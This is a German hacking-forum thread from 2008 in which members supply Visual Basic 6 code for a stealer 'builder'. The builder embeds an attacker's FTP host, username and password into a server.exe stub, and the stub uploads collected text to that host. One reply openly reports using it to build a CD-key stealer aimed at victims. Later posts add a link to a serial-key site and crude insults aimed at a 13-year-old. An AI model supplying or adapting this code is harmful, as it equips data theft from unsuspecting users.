|
| Autor |
Nachricht |
DerUlmer1_
Newbie
Anmeldedatum: 12.01.2008
Beiträge: 14
|
[S] Kleinen builder...
Verfasst am: 13.01.2008, 01:16 |
|
|
Hallo erstmal ich suche ein Builder der so aussehen sollte, wo man seine host daten eingibt (hoster,name,Passwort) und dann die server.exe erstellt.
Könnt ihr mir weiterhelfen?
| Code: |
Private Sub Command1_Click()
Dim a As String
Dim b As String
Open "123.txt" For Append As #1
Print #1, Text1.Text
Print #1, Text2.Text
Close 1#
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "host"
.UserName = "name"
.Password = "password"
a = "123.txt"
b = "123.txt"
.Execute , "PUT " & a & " " & b
End With
MsgBox "fertig"
End Sub
|
|
|
| |
|
 |
Rausch_
Poster
Anmeldedatum: 03.11.2007
Beiträge: 164
|
Verfasst am: 13.01.2008, 01:21 |
|
|
sufu benutzen!
klick |
|
| |
|
|
RaG3!_
Poster
Anmeldedatum: 26.07.2007
Beiträge: 104
|
Verfasst am: 13.01.2008, 12:45 |
|
|
Mir ist ein bisschen langweilig, hier hast du deinen Source. Aufjedenfall solltest du dir aber das Tutorial auch anschauen, damit in Zukunft nicht mehr solch Fragen auftauchen 
Builder:
| Code: | Private Sub build(pfad As String)
On Error GoTo Err:
Dim buffer() As Byte
buffer = LoadResData(101, "CUSTOM")
Open pfad For Binary As #1
Put #1, , buffer()
Close #1
Dim Options As String * 100
Options = txthost.Text & "#" & txtuser.Text & "#" & txtpass.Text & "#"
Open pfad For Binary As #1
Put #1, LOF(1) + 1, Options
Close #1
Exit Sub
Err: Call MsgBox("Server konnte nicht erstellt werden", vbCritical, "blablabla")
End Sub
Private Sub cmd_build_Click()
build ("server.exe")
End Sub |
Server:
| Code: | Private Sub Form_Load()
Dim options As String * 100
Dim cmd() As String
Dim host As String
Dim user As String
Dim pw As String
Open (App.Path & "\" & App.EXEName & ".exe") For Binary As #1
Get #1, LOF(1) - 99, options
Close #1
cmd() = Split(options, "#")
host = cmd(0)
user = cmd(1)
pw = cmd(2)
End Sub
Private Sub Command1_Click()
Dim a As String
Dim b As String
Open "123.txt" For Append As #1
Print #1, Text1.Text
Print #1, Text2.Text
Close 1#
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = cmd(0)
.UserName = cmd(1)
.Password = cmd(2)
a = "123.txt"
b = "123.txt"
.Execute , "PUT " & a & " " & b
End With
End Sub
|
Das ganze musst du jetzt noch anpassen an dein Projekt. Beachte allerdings dass in meinem Beispiel nur die FTP-Daten(Host,User,Passwort) an den Server übergeben werden.
Ich selbst habe es nicht getestet, müsste aber eigentlich so stimmen.
MFG RaG3 |
|
| |
|
|
DerUlmer1_
Newbie
Anmeldedatum: 12.01.2008
Beiträge: 14
|
Verfasst am: 13.01.2008, 19:47 |
|
|
Hab vom tut einigermassen vieles kapiert ABER ich weiss nicht weiss ich im Editor einfügen soll 
Und
Get #1, LOF(1) - 99, options
kommt immer Fehler ... :S
Zuletzt bearbeitet von DerUlmer1_ am 13.01.2008, 19:51, insgesamt einmal bearbeitet |
|
| |
|
|
RaG3!_
Poster
Anmeldedatum: 26.07.2007
Beiträge: 104
|
Verfasst am: 13.01.2008, 19:48 |
|
|
Ich versteh dein Problem nicht ganz. Hast du den schonmal meinen Code probiert?
MFG RaG3 |
|
| |
|
|
DerUlmer1_
Newbie
Anmeldedatum: 12.01.2008
Beiträge: 14
|
Verfasst am: 13.01.2008, 19:51 |
|
|
Ja,
Get #1, LOF(1) - 99, options
Kommt immer feherl :S |
|
| |
|
|
RaG3!_
Poster
Anmeldedatum: 26.07.2007
Beiträge: 104
|
Verfasst am: 13.01.2008, 19:52 |
|
|
Den Server auch im Builder als Resource eingefügt?
MFG RaG3 |
|
| |
|
|
DerUlmer1_
Newbie
Anmeldedatum: 12.01.2008
Beiträge: 14
|
Verfasst am: 13.01.2008, 19:57 |
|
|
| Was soll ich denn genau einfügen genau das hab ich nicht gecheckt.. |
|
| |
|
|
Rausch_
Poster
Anmeldedatum: 03.11.2007
Beiträge: 164
|
Verfasst am: 13.01.2008, 19:59 |
|
|
poste doch mal den genauen fehler, und nicht nur das da der fehler kommt.
mfg |
|
| |
|
|
DerUlmer1_
Newbie
Anmeldedatum: 12.01.2008
Beiträge: 14
|
Verfasst am: 13.01.2008, 20:03 |
|
|
Bitteschön:
 |
|
| |
|
|
RaG3!_
Poster
Anmeldedatum: 26.07.2007
Beiträge: 104
|
Verfasst am: 13.01.2008, 20:04 |
|
|
Wie ich unschwer erkennen kann, hast du den Server nicht als benutzerdefinierte resource hinzugefügt
MFG RaG3 |
|
| |
|
|
ZiG_
Überflieger
Anmeldedatum: 07.03.2007
Beiträge: 1248
|
Verfasst am: 13.01.2008, 20:07 |
|
|
In der IDE kann der server nicht auf sich selbst zugreifen, da die exe nicht kompiliert wird.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde) |
|
| |
|
|
DerUlmer1_
Newbie
Anmeldedatum: 12.01.2008
Beiträge: 14
|
Verfasst am: 13.01.2008, 20:07 |
|
|
| Soll also von mein anderen projekt eine beispiel.exe erstellen und dann in Editor einfügen? |
|
| |
|
|
DerUlmer1_
Newbie
Anmeldedatum: 12.01.2008
Beiträge: 14
|
Verfasst am: 13.01.2008, 20:13 |
|
|
Hab von mein aderen projekt eine Beispiel.exe erstellt und eingefügt aber da kommt trotzdem der fehler  |
|
| |
|
|
RaG3!_
Poster
Anmeldedatum: 26.07.2007
Beiträge: 104
|
Verfasst am: 14.01.2008, 01:17 |
|
|
Also ich versuche es dir nochmal zu erklären.
Du schreibst den Server-Code (bzw. nimmst den von oben und passt ihn an) und kompilierst das Projekt.
Diese entstande exe-Datei fügtst du als benutzerdefinierte Ressource hinzu(-> siehe Zig's Builder - Tutorial).
Du kannst nicht einfach den Code des Servers in den Code des Builders einfügen
MFG RaG3 |
|
| |
|
|
kokaiin_
Tutorial Leser
Anmeldedatum: 03.01.2008
Beiträge: 36
|
Verfasst am: 14.01.2008, 12:53 |
|
|
Hier wird gezeigt wie man bei einem Builder Ressourcen hinzufügt:
Download:
extra.hu-Mirror
Ahja, ansonsten kannste dir natürlich meinen Source anschauen:
Thread |
|
| |
|
|
DerUlmer1_
Newbie
Anmeldedatum: 12.01.2008
Beiträge: 14
|
Verfasst am: 14.01.2008, 13:07 |
|
|
Get #1, LOF(1) - 99, options
Kommt imer fehler...
Hast du ICQ Oder MSN? |
|
| |
|
|
DerUlmer1_
Newbie
Anmeldedatum: 12.01.2008
Beiträge: 14
|
Verfasst am: 16.01.2008, 13:52 |
|
|
Kann mir keiner helfen
Hab das ein wenig jetzt verstanden...
Please auch ICQ Adden: 422317420
MfG |
|
| |
|
|
marcel1994_
Coder
Anmeldedatum: 08.02.2008
Beiträge: 202
|
Verfasst am: 15.02.2008, 14:18 |
|
|
| hehe danke für das "tut" habe mir erstmal meinen builder erstellt für meinen cd key stealer |
|
| |
|
|
H4CK4 K1NG0_
Poster
Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1
|
Verfasst am: 15.02.2008, 16:44 |
|
|
CD Keys kann man sicher überall 4 free holen
serials.ws |
|
| |
|
|
marcel1994_
Coder
Anmeldedatum: 08.02.2008
Beiträge: 202
|
Verfasst am: 15.02.2008, 16:59 |
|
|
| scdhon klar schlaumeier ... aber keine nur 1x geuseten .... einfach ne kleine spielerei |
|
| |
|
|
H4CK4 K1NG0_
Poster
Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1
|
Verfasst am: 15.02.2008, 18:59 |
|
|
| Du 12 Jähriges Kind, und die vom Victim sind nicht unused oder was? Du depp denk nach bevor du postet. |
|
| |
|
|
marcel1994_
Coder
Anmeldedatum: 08.02.2008
Beiträge: 202
|
Verfasst am: 15.02.2008, 22:40 |
|
|
| erstens mal ich bin 13 und zweitens mach mich hier mal nicht so blöd an ja du hast bestimmt nochnichtma vb6 (ich behaupte nicht das ich vb kann!) |
|
| |
|
|
H4CK4 K1NG0_
Poster
Anmeldedatum: 05.02.2008
Beiträge: 146
Wohnort: Nähe von 127.0.0.1
|
Verfasst am: 15.02.2008, 22:56 |
|
|
Oh man ein kleines kind bist du ja noch, nicht mal haare am Sack. spasst fick nicht mein kopf |
|
| |
|
|
Registrieren
Login
